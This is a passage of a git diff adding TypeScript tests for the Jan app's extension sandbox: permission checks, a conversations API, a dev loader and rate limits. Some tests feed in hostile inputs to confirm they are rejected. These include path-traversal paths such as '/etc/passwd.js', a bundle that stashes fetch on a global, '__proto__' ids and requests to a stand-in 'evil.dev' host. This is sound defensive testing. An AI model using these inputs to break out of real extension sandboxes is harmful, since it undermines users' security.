expect(two).toHaveBeenCalledWith({ location: 'commandPalette' })+ })++ it('refuses a second registration of the same extension id', () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ expect(() => store.registerExtension(helloManifest('acme.one'))).toThrow(+ /acme.one/+ )+ })++ it('binds a command handler until disposed', async () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ const handler = vi.fn()+ const binding = store.registerCommand('acme.one', 'hello', handler)+ expect(store.getState().commands['acme.one'].hello.handler).toBe(handler)+ binding.dispose()+ expect(store.getState().commands['acme.one'].hello.handler).toBeUndefined()+ await expect(+ store.executeCommand('acme.one', 'hello', { location: 'commandPalette' })+ ).rejects.toMatchObject({+ code: 'E_NOT_FOUND',+ })+ })++ it('rejects handlers for undeclared or already bound commands', () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ expect(() =>+ store.registerCommand('acme.one', 'nope', vi.fn())+ ).toThrowError(expect.objectContaining({ code: 'E_NOT_FOUND' }))+ store.registerCommand('acme.one', 'hello', vi.fn())+ expect(() =>+ store.registerCommand('acme.one', 'hello', vi.fn())+ ).toThrowError(expect.objectContaining({ code: 'E_INVALID_ARGS' }))+ })++ it('binds tool and provider handlers to declared entries only', () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ const tool = vi.fn()+ const toolBinding = store.registerTool('acme.one', 'echo', tool)+ const providerBinding = store.registerProvider('acme.one', 'p', {})+ expect(store.getState().tools['acme.one'].echo.handler).toBe(tool)+ expect(store.getState().providers['acme.one'].p.handler).toEqual({})+ expect(() => store.registerTool('acme.one', 'other', tool)).toThrowError(+ expect.objectContaining({ code: 'E_NOT_FOUND' })+ )+ toolBinding.dispose()+ providerBinding.dispose()+ expect(store.getState().tools['acme.one'].echo.handler).toBeUndefined()+ expect(store.getState().providers['acme.one'].p.handler).toBeUndefined()+ })++ it('treats inherited property names as undeclared', async () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ const before = store.getState()+ const notFound = expect.objectContaining({ code: 'E_NOT_FOUND' })+ expect(() => store.registerTool('acme.one', 'constructor', vi.fn())).toThrowError(notFound)+ expect(() => store.registerCommand('acme.one', 'valueOf', vi.fn())).toThrowError(notFound)+ expect(() => store.registerProvider('acme.one', 'toString', {})).toThrowError(notFound)+ expect(() =>+ store.setStatusItem('acme.one', 'toString', { text: 'spoof' })+ ).toThrowError(notFound)+ await expect(+ store.executeCommand('acme.one', 'constructor', { location: 'extension' })+ ).rejects.toEqual(notFound)+ expect(() =>+ store.registerExtension(manifest('hasOwnProperty'))+ ).not.toThrow()+ const after = store.getState()+ expect(Object.keys(after.tools['acme.one'])).toEqual(['echo'])+ expect(Object.keys(after.statusItems['acme.one'])).toEqual(['status'])+ expect(after.commands['acme.one']).toBe(before.commands['acme.one'])+ })++ it('updates a declared status item and ignores a stale binding after re-registration', () => {+ const store = new ContributionStore()+ const first = store.registerExtension(helloManifest('acme.one'))+ store.setStatusItem('acme.one', 'status', { text: 'busy' })+ expect(store.getState().statusItems['acme.one'].status).toMatchObject({+ text: 'busy',+ })+ expect(() =>+ store.setStatusItem('acme.one', 'nope', { text: 'x' })+ ).toThrowError(expect.objectContaining({ code: 'E_NOT_FOUND' }))+ const binding = store.registerCommand('acme.one', 'hello', vi.fn())+ first.dispose()+ store.registerExtension(helloManifest('acme.one'))+ const handler = vi.fn()+ store.registerCommand('acme.one', 'hello', handler)+ binding.dispose()+ expect(store.getState().commands['acme.one'].hello.handler).toBe(handler)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/conversations.test.ts b/web-app/src/lib/extensions/__tests__/conversations.test.tsnew file mode 100644index 000000000..af052e97b--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/conversations.test.ts@@ -0,0 +1,260 @@+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import type { MessageInfo, PermissionString } from '@janhq/extension-api'+import { TEMPORARY_CHAT_ID } from '@/constants/chat'+import { DefaultMessagesService } from '@/services/messages/default'+import { DefaultThreadsService } from '@/services/threads/default'+import { createConversationsApi } from '../conversations'+import { createContext } from '../context'+import { ContributionStore } from '../contributions'+import { PermissionDispatcher } from '../dispatcher'+import { ExtensionSettingsStore } from '../settings-store'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const api = {+ listThreads: vi.fn(),+ createThread: vi.fn(),+ deleteThread: vi.fn(),+ listMessages: vi.fn(),+ createMessage: vi.fn(),+}++const storedThread = {+ id: 't1',+ object: 'thread',+ title: 'First',+ created: 1700000000,+ updated: 1700000500,+ assistants: [],+ metadata: { order: 1 },+}++const storedMessage = (id: string, createdAt: number, text: string) => ({+ id,+ object: 'thread.message',+ thread_id: 't1',+ role: 'user',+ status: 'ready',+ created_at: createdAt,+ completed_at: createdAt,+ content: [+ { type: 'text', text: { value: text, annotations: [] } },+ { type: 'image_url', image_url: { url: 'data:' } },+ ],+})++function setup() {+ const threads = new DefaultThreadsService()+ const messages = new DefaultMessagesService()+ const conversations = createConversationsApi(() => ({+ threads: () => threads,+ messages: () => messages,+ }))+ return { conversations, threads, messages }+}++describe('createConversationsApi', () => {+ const originalCore = window.core++ beforeEach(() => {+ vi.clearAllMocks()+ window.core = { api } as unknown as typeof window.core+ api.listThreads.mockResolvedValue([+ storedThread,+ { ...storedThread, id: TEMPORARY_CHAT_ID, title: 'Temporary Chat' },+ ])+ api.createMessage.mockImplementation(async ({ message }) => message)+ api.deleteThread.mockResolvedValue(undefined)+ })++ afterEach(() => {+ window.core = originalCore+ })++ it('maps threads to public summaries in epoch milliseconds', async () => {+ const { conversations } = setup()+ await expect(conversations.listThreads()).resolves.toEqual([+ { id: 't1', title: 'First', updatedAt: 1700000500000 },+ ])+ await expect(conversations.getThread('t1')).resolves.toEqual({+ id: 't1',+ title: 'First',+ updatedAt: 1700000500000,+ createdAt: 1700000000000,+ })+ })++ it('never exposes the temporary chat', async () => {+ const { conversations } = setup()+ const ids = (await conversations.listThreads()).map((t) => t.id)+ expect(ids).not.toContain(TEMPORARY_CHAT_ID)+ await expect(conversations.getThread(TEMPORARY_CHAT_ID)).resolves.toBe(+ undefined+ )+ await expect(+ conversations.listMessages(TEMPORARY_CHAT_ID)+ ).resolves.toEqual([])+ await expect(+ conversations.appendMessage(TEMPORARY_CHAT_ID, {+ role: 'user',+ text: 'hi',+ })+ ).rejects.toMatchObject({ code: 'E_NOT_FOUND' })+ expect(api.listMessages).not.toHaveBeenCalled()+ expect(api.createMessage).not.toHaveBeenCalled()+ })++ it('maps messages to their concatenated text and honours before/limit', async () => {+ api.listMessages.mockResolvedValue([+ storedMessage('m1', 1700000000000, 'one'),+ storedMessage('m2', 1700000001, 'two'),+ storedMessage('m3', 1700000002000, 'three'),+ ])+ const { conversations } = setup()+ const all = await conversations.listMessages('t1')+ expect(all).toEqual<MessageInfo[]>([+ {+ id: 'm1',+ threadId: 't1',+ role: 'user',+ text: 'one',+ createdAt: 1700000000000,+ },+ {+ id: 'm2',+ threadId: 't1',+ role: 'user',+ text: 'two',+ createdAt: 1700000001000,+ },+ {+ id: 'm3',+ threadId: 't1',+ role: 'user',+ text: 'three',+ createdAt: 1700000002000,+ },+ ])+ const page = await conversations.listMessages('t1', {+ before: 'm3',+ limit: 1,+ })+ expect(page.map((m) => m.id)).toEqual(['m2'])+ await expect(+ conversations.listMessages('t1', { limit: 0 })+ ).rejects.toMatchObject({ code: 'E_INVALID_ARGS' })+ })++ it('creates threads through the threads service', async () => {+ api.createThread.mockImplementation(async ({ thread }) => ({+ ...thread,+ id: 'backend-id',+ }))+ const { conversations } = setup()+ const created = await conversations.createThread({ title: 'New' })+ expect(created).toMatchObject({ id: 'backend-id', title: 'New' })+ expect(api.createThread).toHaveBeenCalledWith({+ thread: expect.objectContaining({ title: 'New' }),+ })+ })++ it('appends a text message to an existing thread', async () => {+ const { conversations } = setup()+ const message = await conversations.appendMessage('t1', {+ role: 'assistant',+ text: 'hello',+ })+ expect(message).toMatchObject({+ threadId: 't1',+ role: 'assistant',+ text: 'hello',+ })+ expect(api.createMessage).toHaveBeenCalledWith({+ message: expect.objectContaining({+ thread_id: 't1',+ role: 'assistant',+ content: [+ { type: 'text', text: { value: 'hello', annotations: [] } },+ ],+ }),+ })+ await expect(+ conversations.appendMessage('missing', { role: 'user', text: 'x' })+ ).rejects.toMatchObject({ code: 'E_NOT_FOUND' })+ })++ it('fires onDidCreateMessage once per created message, whoever created it', async () => {+ const { conversations, messages } = setup()+ const listener = vi.fn()+ const sub = conversations.onDidCreateMessage(listener)++ await messages.createMessage(+ storedMessage('m1', 1700000000000, 'from the app') as never+ )+ await conversations.appendMessage('t1', { role: 'user', text: 'api' })+ await messages.createMessage({+ ...storedMessage('tmp', 1, 'temp'),+ thread_id: TEMPORARY_CHAT_ID,+ } as never)+ api.createMessage.mockRejectedValueOnce(new Error('disk full'))+ await messages.createMessage(+ storedMessage('failed', 1700000000000, 'not persisted') as never+ )++ expect(listener).toHaveBeenCalledTimes(2)+ expect(listener.mock.calls[0][0]).toEqual({+ threadId: 't1',+ message: expect.objectContaining({ id: 'm1', text: 'from the app' }),+ })+ sub.dispose()+ await messages.createMessage(+ storedMessage('m9', 1700000000000, 'late') as never+ )+ expect(listener).toHaveBeenCalledTimes(2)+ })++ it('fires onDidDeleteThread for persisted threads only', async () => {+ const { conversations, threads } = setup()+ const listener = vi.fn()+ conversations.onDidDeleteThread(listener)+ await threads.deleteThread('t1')+ await threads.deleteThread(TEMPORARY_CHAT_ID)+ expect(listener).toHaveBeenCalledTimes(1)+ expect(listener).toHaveBeenCalledWith({ threadId: 't1' })+ })++ it('is denied through the context without a conversations grant', async () => {+ const { conversations } = setup()+ const run = (permissions: PermissionString[]) => {+ const m = manifest('acme.reader', { permissions })+ const dispatcher = new PermissionDispatcher()+ dispatcher.grant(m.id, m.permissions)+ return createContext(m, {+ dispatcher,+ contributions: new ContributionStore(),+ settings: new ExtensionSettingsStore({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ }),+ storage: memoryAppSettings(),+ notify: vi.fn(),+ conversations,+ })+ }+ const denied = run([])+ await expect(denied.conversations.listThreads()).rejects.toMatchObject({+ code: 'E_PERMISSION',+ })+ await expect(+ run(['conversations:read']).conversations.appendMessage('t1', {+ role: 'user',+ text: 'x',+ })+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ expect(api.listThreads).not.toHaveBeenCalled()+ expect(api.createMessage).not.toHaveBeenCalled()+ await expect(+ run(['conversations:read']).conversations.listThreads()+ ).resolves.toHaveLength(1)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/dev-loader.test.ts b/web-app/src/lib/extensions/__tests__/dev-loader.test.tsnew file mode 100644index 000000000..1c33a49c5--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/dev-loader.test.ts@@ -0,0 +1,169 @@+import { beforeEach, describe, expect, it, vi } from 'vitest'+import type { HostedExtension } from '../host'++const files = vi.hoisted(() => ({ map: new Map<string, string>() }))+const host = vi.hoisted(() => ({+ list: vi.fn<() => HostedExtension[]>(() => []),+ spawnWorkerExtension: vi.fn(),+ unload: vi.fn(async () => undefined),+}))++vi.mock('@janhq/core', () => ({+ joinPath: async (parts: string[]) => parts.join('/'),+ fs: {+ readFileSync: async (path: string) => {+ const content = files.map.get(path)+ if (content === undefined) throw new Error(`ENOENT: ${path}`)+ return content+ },+ },+}))++vi.mock('../host', () => ({ getExtensionHost: () => host }))++import { DevLoadError, loadUnpacked, readUnpacked } from '../dev-loader'++const DIR = '/home/dev/hello'++const pkg = (jan: Record<string, unknown> = {}) => ({+ name: 'hello-provider',+ version: '0.1.0',+ jan: {+ id: 'acme.hello',+ displayName: 'Hello',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: ['ui:notify'],+ ...jan,+ },+})++const BUNDLE = 'var JanExtension = { activate: function () {} }'++const writePkg = (value: unknown) =>+ files.map.set(`${DIR}/package.json`, JSON.stringify(value))++async function codeOf(promise: Promise<unknown>) {+ const error = await promise.catch((e: unknown) => e)+ expect(error).toBeInstanceOf(DevLoadError)+ return error as DevLoadError+}++beforeEach(() => {+ files.map.clear()+ host.list.mockReturnValue([])+ host.spawnWorkerExtension.mockReset()+ host.unload.mockClear()+})++describe('readUnpacked', () => {+ it('reads the manifest and the jan.main bundle from the folder', async () => {+ writePkg(pkg())+ files.map.set(`${DIR}/dist/index.js`, 'var JanExtension = {}')+ const unpacked = await readUnpacked(DIR)+ expect(unpacked.manifest).toMatchObject({ id: 'acme.hello', version: '0.1.0' })+ expect(unpacked.bundle).toBe('var JanExtension = {}')+ })++ it('accepts a ./ prefix and a trailing separator on the folder', async () => {+ writePkg(pkg({ main: './dist/index.js' }))+ files.map.set(`${DIR}/dist/index.js`, BUNDLE)+ await expect(readUnpacked(`${DIR}/`)).resolves.toMatchObject({ bundle: BUNDLE })+ })++ it('reports a missing package.json', async () => {+ const error = await codeOf(readUnpacked(DIR))+ expect(error.code).toBe('readFailed')+ expect(error.params.file).toBe('package.json')+ })++ it('reports package.json that is not JSON', async () => {+ files.map.set(`${DIR}/package.json`, '{ nope')+ expect((await codeOf(readUnpacked(DIR))).code).toBe('invalidJson')+ })++ it('reports every manifest error', async () => {+ writePkg(pkg({ id: 'Bad Id', permissions: ['fs:all'] }))+ const error = await codeOf(readUnpacked(DIR))+ expect(error.code).toBe('invalidManifest')+ expect(error.params.errors).toContain('jan.id')+ expect(error.params.errors).toContain('jan.permissions[0]')+ })++ it.each(['../outside.js', '/etc/passwd.js', 'dist/../../x.js', 'C:\\x.js'])(+ 'rejects a main path that escapes the folder: %s',+ async (main) => {+ writePkg(pkg({ main }))+ const error = await codeOf(readUnpacked(DIR))+ expect(error.code).toBe('invalidManifest')+ expect(error.params.errors).toContain('jan.main')+ }+ )++ it('refuses a bundle that is not a single var JanExtension (hoisted declarations)', async () => {+ writePkg(pkg())+ files.map.set(+ `${DIR}/dist/index.js`,+ `function Set() { self.__net = fetch }\n${BUNDLE}`+ )+ const error = await codeOf(readUnpacked(DIR))+ expect(error.code).toBe('invalidBundle')+ expect(error.params).toMatchObject({+ file: 'dist/index.js',+ error: expect.stringContaining('JanExtension'),+ })+ })++ it('reports a missing bundle', async () => {+ writePkg(pkg())+ const error = await codeOf(readUnpacked(DIR))+ expect(error.code).toBe('readFailed')+ expect(error.params.file).toBe('dist/index.js')+ })+})++describe('loadUnpacked', () => {+ const hosted = (+ source: HostedExtension['source'],+ state: HostedExtension['state']+ ): HostedExtension =>+ ({ id: 'acme.hello', source, state }) as HostedExtension++ it('spawns a dev worker granted everything the manifest requests', async () => {+ writePkg(pkg({ permissions: ['ui:notify', 'network:api.example.com'] }))+ files.map.set(`${DIR}/dist/index.js`, BUNDLE)+ const unpacked = await readUnpacked(DIR)+ host.spawnWorkerExtension.mockResolvedValue(hosted('dev', 'active'))++ await expect(loadUnpacked(unpacked)).resolves.toMatchObject({ state: 'active' })+ expect(host.spawnWorkerExtension).toHaveBeenCalledWith({+ manifest: unpacked.manifest,+ bundle: BUNDLE,+ grants: ['ui:notify', 'network:api.example.com'],+ source: 'dev',+ })+ })++ it('refuses an id that is already running', async () => {+ writePkg(pkg())+ files.map.set(`${DIR}/dist/index.js`, BUNDLE)+ const unpacked = await readUnpacked(DIR)+ host.list.mockReturnValue([hosted('builtin', 'failed')])+ expect((await codeOf(loadUnpacked(unpacked))).code).toBe('alreadyLoaded')+ host.list.mockReturnValue([hosted('dev', 'active')])+ expect((await codeOf(loadUnpacked(unpacked))).code).toBe('alreadyLoaded')+ expect(host.spawnWorkerExtension).not.toHaveBeenCalled()+ })++ it('replaces a dev load that failed, so a fixed folder can be retried', async () => {+ writePkg(pkg())+ files.map.set(`${DIR}/dist/index.js`, BUNDLE)+ const unpacked = await readUnpacked(DIR)+ host.list.mockReturnValue([hosted('dev', 'failed')])+ host.spawnWorkerExtension.mockResolvedValue(hosted('dev', 'active'))+ await loadUnpacked(unpacked)+ expect(host.unload).toHaveBeenCalledWith('acme.hello')+ expect(host.spawnWorkerExtension).toHaveBeenCalled()+ })+})diff --git a/web-app/src/lib/extensions/__tests__/dispatcher.test.ts b/web-app/src/lib/extensions/__tests__/dispatcher.test.tsnew file mode 100644index 000000000..c3c5c5262--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/dispatcher.test.ts@@ -0,0 +1,299 @@+import { describe, expect, expectTypeOf, it, vi } from 'vitest'+import { HOST_METHODS, type HostMethod } from '@janhq/extension-runtime'+import type { PermissionString } from '@janhq/extension-api'+import { ContributionStore } from '../contributions'+import { METHOD_POLICY, PermissionDispatcher } from '../dispatcher'+import {+ LOG_LINES_BURST,+ LOG_LINES_PER_SECOND,+ LOG_WINDOW_MS,+ MAX_LOG_ARGS,+ MAX_LOG_CHARS,+ MAX_LOG_CHARS_PER_WINDOW,+ MAX_SUBSCRIPTIONS_PER_EVENT,+ createHostApi,+ type HostApiDeps,+} from '../host-api'+import { ExtensionSettingsStore } from '../settings-store'+import { fakeHttp } from './fake-http'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++describe('PermissionDispatcher grants', () => {+ it('grants exactly what was granted, per extension', () => {+ const d = new PermissionDispatcher()+ d.grant('acme.one', ['ui:notify'])+ expect(d.has('acme.one', 'ui:notify')).toBe(true)+ expect(d.has('acme.one', 'tools')).toBe(false)+ expect(d.has('acme.two', 'ui:notify')).toBe(false)+ expect(() => d.check('acme.one', 'ui:notify')).not.toThrow()+ expect(() => d.check('acme.one', 'tools')).toThrowError(+ expect.objectContaining({ code: 'E_PERMISSION' })+ )+ })++ it('matches network permissions by host, wildcards included', () => {+ const d = new PermissionDispatcher()+ d.grant('acme.one', ['network:api.acme.dev', 'network:*.cdn.dev'])+ expect(d.has('acme.one', 'network:api.acme.dev')).toBe(true)+ expect(d.has('acme.one', 'network:img.cdn.dev')).toBe(true)+ expect(d.has('acme.one', 'network:cdn.dev')).toBe(false)+ expect(d.has('acme.one', 'network:acme.dev')).toBe(false)+ })++ it('forgets an extension on revokeAll', () => {+ const d = new PermissionDispatcher()+ d.grant('acme.one', ['tools'])+ d.revokeAll('acme.one')+ expect(d.has('acme.one', 'tools')).toBe(false)+ })+})++describe('METHOD_POLICY', () => {+ it('covers every host method, and nothing else', () => {+ expectTypeOf<keyof typeof METHOD_POLICY>().toEqualTypeOf<HostMethod>()+ expect(Object.keys(METHOD_POLICY).sort()).toEqual([...HOST_METHODS].sort())+ })+})++const permission = expect.objectContaining({ code: 'E_PERMISSION' })+const invalid = expect.objectContaining({ code: 'E_INVALID_ARGS' })++function setup(permissions: PermissionString[], deps: Partial<HostApiDeps> = {}) {+ const m = manifest('acme.one', {+ permissions,+ contributes: {+ commands: [{ id: 'hello', title: 'Hello' }],+ ...(permissions.includes('tools')+ ? {+ tools: [+ {+ name: 'echo',+ description: 'Echo',+ inputSchema: { type: 'object' as const },+ },+ ],+ }+ : {}),+ },+ })+ const dispatcher = new PermissionDispatcher()+ dispatcher.grant(m.id, m.permissions)+ const contributions = new ContributionStore()+ contributions.registerExtension(m)+ const settings = new ExtensionSettingsStore({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ })+ settings.register(m)+ const { http } = fakeHttp(() => ({ body: 'ok' }))+ const fetch = http.httpFetch+ const api = createHostApi(m, {+ dispatcher,+ contributions,+ settings,+ storage: memoryAppSettings(),+ notify: vi.fn(),+ http,+ ...deps,+ })+ const call = (method: HostMethod, args: unknown[]) =>+ dispatcher.dispatch(m, api, method, args)+ return { call, fetch, contributions }+}++describe('PermissionDispatcher.dispatch', () => {+ it('denies a gated method without its grant', () => {+ const { call } = setup([])+ expect(() => call('tools.register', ['echo', () => undefined])).toThrowError(permission)+ expect(() => call('ui.notify', [{ level: 'info', message: 'hi' }])).toThrowError(permission)+ expect(() =>+ call('events.subscribe', ['conversations.didCreateMessage', () => undefined])+ ).toThrowError(permission)+ })++ it('lets implicit methods through without any grant', async () => {+ const { call } = setup([])+ await expect(call('storage.set', ['k', { a: [1, null] }])).resolves.toBeUndefined()+ await expect(call('storage.get', ['k'])).resolves.toEqual({ a: [1, null] })+ expect(() =>+ call('events.subscribe', ['settings.didChange', () => undefined])+ ).not.toThrow()+ })++ it('runs only its own commands, with no grant', async () => {+ const { call } = setup([])+ // Its own declared command needs nothing (it has no handler yet).+ await expect(+ Promise.resolve().then(() => call('commands.execute', ['hello']))+ ).rejects.toMatchObject({ code: 'E_NOT_FOUND' })+ // Anyone else's is simply not there; no grant could reach it.+ await expect(+ Promise.resolve().then(() => call('commands.execute', ['other']))+ ).rejects.toMatchObject({ code: 'E_NOT_FOUND' })+ })++ it('matches *.example.com and rejects plain http for remote hosts', async () => {+ const { call, fetch } = setup(['network:*.example.com', 'network:127.0.0.1'])+ await expect(+ call('http.fetch', ['https://api.example.com/v1'])+ ).resolves.toMatchObject({ status: 200, body: 'ok' })+ await expect(+ call('http.fetch', ['http://127.0.0.1:11999/v1/models'])+ ).resolves.toMatchObject({ status: 200 })+ expect(() => call('http.fetch', ['https://example.com/'])).toThrowError(permission)+ expect(() => call('http.fetch', ['http://api.example.com/'])).toThrowError(permission)+ expect(() => call('http.fetch', ['https://evil.dev/'])).toThrowError(permission)+ expect(fetch).toHaveBeenCalledTimes(2)+ })++ it('rejects invalid arguments before checking anything else', () => {+ const { call } = setup(['tools', 'ui:notify'])+ expect(() => call('tools.register', ['echo', 'not a function'])).toThrowError(invalid)+ expect(() => call('tools.register', ['echo'])).toThrowError(invalid)+ expect(() => call('ui.notify', [{ level: 'loud', message: 'x' }])).toThrowError(invalid)+ expect(() => call('ui.notify', [{ level: 'info', message: 'x', html: '<b>' }])).toThrowError(invalid)+ expect(() => call('settings.set', ['k', { nested: true }])).toThrowError(invalid)+ expect(() => call('storage.set', ['k', undefined])).toThrowError(invalid)+ expect(() => call('storage.keys', ['extra'])).toThrowError(invalid)+ expect(() => call('http.fetch', ['not a url'])).toThrowError(invalid)+ expect(() =>+ call('http.fetch', ['https://x.dev', { method: 'TRACE' }])+ ).toThrowError(invalid)+ expect(() => call('events.subscribe', ['unknown.event', () => undefined])).toThrowError(invalid)+ expect(() =>+ call('conversations.listMessages', ['t1', { limit: -1 }])+ ).toThrowError(invalid)+ })++ it('refuses contribution ids outside the manifest grammar, and inherited names', () => {+ const { call, contributions } = setup(['tools', 'providers'])+ const handler = vi.fn()+ for (const bad of ['__proto__', 'a b', 'x'.repeat(65), ''])+ expect(() => call('tools.register', [bad, handler]), bad).toThrowError(invalid)+ expect(() => call('ui.setStatusItem', ['__proto__', { text: 'x' }])).toThrowError(invalid)+ const notFound = expect.objectContaining({ code: 'E_NOT_FOUND' })+ expect(() => call('tools.register', ['constructor', handler])).toThrowError(notFound)+ expect(() => call('commands.register', ['valueOf', handler])).toThrowError(notFound)+ // Undeclared, so it must not skip the baseUrl grant check and bind.+ expect(() => call('providers.register', ['toString', {}])).toThrowError(notFound)+ expect(() => call('ui.setStatusItem', ['toString', { text: 'x' }])).toThrowError(notFound)+ expect(Object.keys(contributions.getState().tools['acme.one'])).toEqual(['echo'])+ })++ it("refuses the local API server's port for fetches and provider baseUrls", () => {+ const local = new PermissionDispatcher(() => 11999)+ local.grant('acme.one', ['network:127.0.0.1'])+ expect(() => local.checkUrl('acme.one', 'http://127.0.0.1:11999/v1')).toThrowError(+ permission+ )+ expect(() => local.checkUrl('acme.one', 'http://127.0.0.1:8080/v1')).not.toThrow()+ })++ it('caps subscriptions per extension and event, and frees a slot on dispose', () => {+ const { call } = setup([])+ const subs = Array.from({ length: MAX_SUBSCRIPTIONS_PER_EVENT }, () =>+ call('events.subscribe', ['settings.didChange', () => undefined]) as {+ dispose(): void+ }+ )+ const tooMany = expect.objectContaining({ code: 'E_TOO_LARGE' })+ expect(() =>+ call('events.subscribe', ['settings.didChange', () => undefined])+ ).toThrowError(tooMany)+ subs[0].dispose()+ subs[0].dispose()+ expect(() =>+ call('events.subscribe', ['settings.didChange', () => undefined])+ ).not.toThrow()+ expect(() =>+ call('events.subscribe', ['settings.didChange', () => undefined])+ ).toThrowError(tooMany)+ })++ it('truncates log arguments and drops lines over the rate limit', () => {+ const info = vi.spyOn(console, 'info').mockImplementation(() => {})+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { call } = setup([])+ call('log', ['info', 'x'.repeat(100_000), ...Array.from({ length: 100 }, () => 'y')])+ const [, ...logged] = info.mock.calls[0]+ expect(logged.length).toBeLessThanOrEqual(MAX_LOG_ARGS)+ expect(logged.join('').length).toBeLessThanOrEqual(MAX_LOG_CHARS + 64)+ for (let i = 0; i < 1000; i++) call('log', ['info', 'line'])+ expect(info.mock.calls.length).toBeLessThan(200)+ expect(warn).toHaveBeenCalledTimes(1)+ })++ it('keeps one extension within a log budget per window', () => {+ vi.useFakeTimers()+ try {+ const info = vi.spyOn(console, 'info').mockImplementation(() => {})+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { call } = setup([])+ const line = 'x'.repeat(MAX_LOG_CHARS)+ const logged = () =>+ info.mock.calls.reduce((n, [, ...args]) => n + args.join('').length, 0)+ // Ten lines a second, every second, for a whole window.+ for (let s = 0; s < LOG_WINDOW_MS / 1000; s++) {+ for (let i = 0; i < LOG_LINES_PER_SECOND; i++) call('log', ['info', line])+ vi.advanceTimersByTime(1000)+ }+ expect(logged()).toBeLessThanOrEqual(MAX_LOG_CHARS_PER_WINDOW)+ expect(logged()).toBeGreaterThan(MAX_LOG_CHARS_PER_WINDOW - 2 * MAX_LOG_CHARS)+ const before = logged()+ call('log', ['info', line])+ expect(logged()).toBe(before + MAX_LOG_CHARS)+ } finally {+ vi.useRealTimers()+ }+ })++ it('sustains no more than LOG_LINES_PER_SECOND', () => {+ vi.useFakeTimers()+ try {+ const info = vi.spyOn(console, 'info').mockImplementation(() => {})+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { call } = setup([])+ for (let s = 0; s < 10; s++) {+ for (let i = 0; i < 100; i++) call('log', ['info', 'x'])+ vi.advanceTimersByTime(1000)+ }+ expect(info.mock.calls.length).toBeLessThanOrEqual(+ LOG_LINES_BURST + 10 * LOG_LINES_PER_SECOND+ )+ } finally {+ vi.useRealTimers()+ }+ })++ it('rate-limits notifications', () => {+ const notify = vi.fn()+ const { call } = setup(['ui:notify'], { notify })+ const tooMany = expect.objectContaining({ code: 'E_TOO_LARGE' })+ let refused = 0+ for (let i = 0; i < 50; i++) {+ try {+ call('ui.notify', [{ level: 'info', message: 'spam' }])+ } catch (error) {+ expect(error).toEqual(tooMany)+ refused+++ }+ }+ expect(notify.mock.calls.length).toBeLessThanOrEqual(10)+ expect(refused).toBe(50 - notify.mock.calls.length)+ })++ it('binds a registration only to a declared contribution', () => {+ const { call, contributions } = setup(['tools'])+ const handler = vi.fn()+ const registration = call('tools.register', ['echo', handler]) as {+ dispose(): void+ }+ expect(contributions.getState().tools['acme.one'].echo.handler).toBe(handler)+ registration.dispose()+ expect(contributions.getState().tools['acme.one'].echo.handler).toBeUndefined()+ expect(() => call('tools.register', ['undeclared', handler])).toThrowError(+ expect.objectContaining({ code: 'E_NOT_FOUND' })+ )+ })+})diff --git a/web-app/src/lib/extensions/__tests__/fake-http.ts b/web-app/src/lib/extensions/__tests__/fake-http.tsnew file mode 100644index 000000000..0bdd949e1--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/fake-http.ts@@ -0,0 +1,112 @@+import { vi } from 'vitest'+import type {+ HttpRequest,+ HttpResponse,+ HttpStreamEvent,+} from '@janhq/tauri-plugin-extensions-api'+import type { ExtensionHttp } from '../http'++/** What a fake server answers: a whole response, or a stream of chunks. */+export interface FakeReply {+ status?: number+ headers?: Record<string, string>+ body?: string+ /** Streamed in this order by `httpFetchStream`; `body` is ignored. */+ chunks?: string[]+ /** Never answers: the request hangs until cancelled. */+ hang?: boolean+}++export const redirectTo = (status: number, location: string): FakeReply => ({+ status,+ headers: { location },+})++interface Sent {+ extensionId: string+ requestId?: string+ req: HttpRequest+}++/**+ * A fake of the plugin's http commands with the same contract: no redirect+ * is followed, cookie headers never come back, a cancelled request rejects+ * with `{ kind: 'cancelled' }`. `answer` plays the server.+ */+export function fakeHttp(answer: (req: HttpRequest) => FakeReply | Promise<FakeReply>) {+ const sent: Sent[] = []+ const cancelled: string[] = []+ const waiting = new Map<string, () => void>()+ const cancelError = { kind: 'cancelled', message: 'The request was cancelled' }++ const reply = async (key: string, req: HttpRequest): Promise<FakeReply> => {+ const r = await answer(req)+ if (!r.hang) return r+ return new Promise<FakeReply>((_resolve, reject) =>+ waiting.set(key, () => reject(cancelError))+ )+ }+ const headersOf = (r: FakeReply) => {+ const headers: Record<string, string> = {}+ for (const [name, value] of Object.entries(r.headers ?? {}))+ if (!/^set-cookie2?$/i.test(name)) headers[name.toLowerCase()] = value+ return headers+ }++ const http = {+ httpFetch: vi.fn<ExtensionHttp['httpFetch']>(+ async (extensionId, req, requestId) => {+ sent.push({ extensionId, requestId, req })+ const r = await reply(`${extensionId}\n${requestId}`, req)+ const response: HttpResponse = {+ status: r.status ?? 200,+ headers: headersOf(r),+ body: r.body ?? (r.chunks ?? []).join(''),+ }+ return response+ }+ ),+ httpFetchStream: vi.fn<ExtensionHttp['httpFetchStream']>(+ async (extensionId, requestId, req, onEvent) => {+ sent.push({ extensionId, requestId, req })+ const key = `${extensionId}\n${requestId}`+ const r = await reply(key, req)+ const status = r.status ?? 200+ const emit = (event: HttpStreamEvent) => onEvent(event)+ emit({ event: 'head', status, headers: headersOf(r) })+ for (const data of r.chunks ?? (r.body ? [r.body] : [])) {+ if (cancelled.includes(requestId)) {+ emit({ event: 'error', 